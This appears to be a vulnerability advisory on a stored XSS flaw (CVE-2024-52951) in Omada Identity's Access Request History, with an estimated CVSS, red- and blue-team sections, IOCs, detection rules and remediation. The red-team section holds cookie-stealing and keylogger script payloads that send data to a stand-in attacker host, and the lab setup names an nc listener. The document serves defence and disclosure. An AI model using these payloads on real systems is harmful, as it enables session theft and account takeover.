CVE-2024-52951

Executive Summary

CVE-2024-52951 is a Stored Cross-Site Scripting (XSS) vulnerability in Omada Identity, specifically within the Access Request History feature. An authenticated attacker can inject malicious scripts that execute in the browser of any victim who views the manipulated Access Request History or clicks a specially crafted link. This allows the attacker to steal session cookies, perform actions on behalf of the victim, or deface the application. The vulnerability is present in versions prior to 15 Update 1. No public exploit code or proof-of-concept is currently available, but the risk is significant due to the authenticated nature and the potential for lateral movement within the identity management system.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): Required (R) – The victim must view the Access Request History or click a link.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim's browser).
• Confidentiality (C): High (H) – The attacker can steal session tokens and access sensitive data.
• Integrity (I): High (H) – The attacker can modify content or perform actions as the victim.
• Availability (A): Low (L) – The attack could cause denial of service via script execution.

Estimated CVSS Score: 8.0 (High)

Threat Level: High. The vulnerability is authenticated, but the impact is severe, allowing full account takeover and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the Access Request History module of Omada Identity. This module logs and displays requests for access to resources. The flaw is a classic Stored XSS: user-supplied input (likely the request reason, comments, or other fields) is not properly sanitized before being stored in the database and later rendered in the browser.

Attack Flow:

1. An authenticated attacker submits an access request with a malicious payload in a field that is not sanitized (e.g., <script>alert('XSS')</script>).
2. The payload is stored in the database.
3. When a victim (another authenticated user, such as an administrator or approver) views the Access Request History, the payload is executed in their browser.
4. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to a malicious site.

Root Cause: Lack of output encoding or input validation on the server side before storing and rendering user-controlled data in the Access Request History view.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Server-side rendering (e.g., JSP, ASP.NET)
<div class="request-reason">
    <%= request.getReason() %>  <!-- No encoding -->
</div>

Patched Code (Conceptual):

// Server-side rendering with proper encoding
<div class="request-reason">
    <%= HtmlEncoder.encode(request.getReason()) %>  <!-- Contextual output encoding -->
</div>

The patch in version 15 Update 1 likely introduces proper HTML encoding for all user-supplied fields displayed in the Access Request History.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to an Omada Identity instance (version < 15 Update 1).
• Valid credentials for an authenticated user.

Steps:

1. Log in to the Omada Identity web interface.
2. Navigate to the Access Request History section.
3. Create a new access request or edit an existing one.
4. In a field that is displayed in the history (e.g., "Reason for Request"), inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Submit the request.
6. Craft a link to the Access Request History and send it to a victim (e.g., via email or internal chat).
7. When the victim views the history, the script executes, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
}
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual characters in Access Request fields (e.g., <script>, onerror=, javascript:).
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search logs for requests containing <script> or onerror in the Access Request History parameters.
• Correlate with outbound connections to unknown domains from the Omada Identity server.

Lab Setup:

• Deploy a vulnerable Omada Identity instance (version 15 or earlier) in an isolated environment.
• Use a tool like Burp Suite to intercept and modify requests.
• Set up a listener (e.g., nc -lvnp 80) to capture exfiltrated cookies.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP/HTTPS requests to attacker-controlled domains from the Omada Identity server.
  • Unusual Referer headers pointing to the Access Request History URL.
• Host:
  • Log entries showing <script> tags or onerror attributes in the reason or comments fields.
  • Unexpected JavaScript execution in the browser (visible via browser developer tools).
• File:
  • Modified database entries containing XSS payloads in the Access Request History table.

Detection Engineering

YARA Rule

rule Detect_Omada_Stored_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Omada Identity Access Request History"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52951"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Omada Identity Stored XSS in Access Request History
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts in Omada Identity Access Request History
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52951
logsource:
    category: web
    product: omada_identity
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'AccessRequestHistory'
        cs-request-body|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in request reasons (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52951 Omada Identity Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"AccessRequestHistory"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the official patch by upgrading to Omada Identity version 15 Update 1 or later.
2. WAF Rules: Deploy WAF rules to block requests containing <script>, onerror, or javascript: in the Access Request History fields.
3. Input Validation: Implement server-side validation to reject or sanitize HTML tags in user input.

Long-Term Fixes:

• Output Encoding: Ensure all user-supplied data is contextually encoded before rendering in HTML.
• Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts and only allows scripts from trusted sources.
• Regular Security Audits: Conduct code reviews and penetration tests focusing on XSS vulnerabilities.

Workaround (if patching is delayed):

• Disable the Access Request History feature temporarily.
• Restrict access to the feature to only trusted administrators.

Valters IT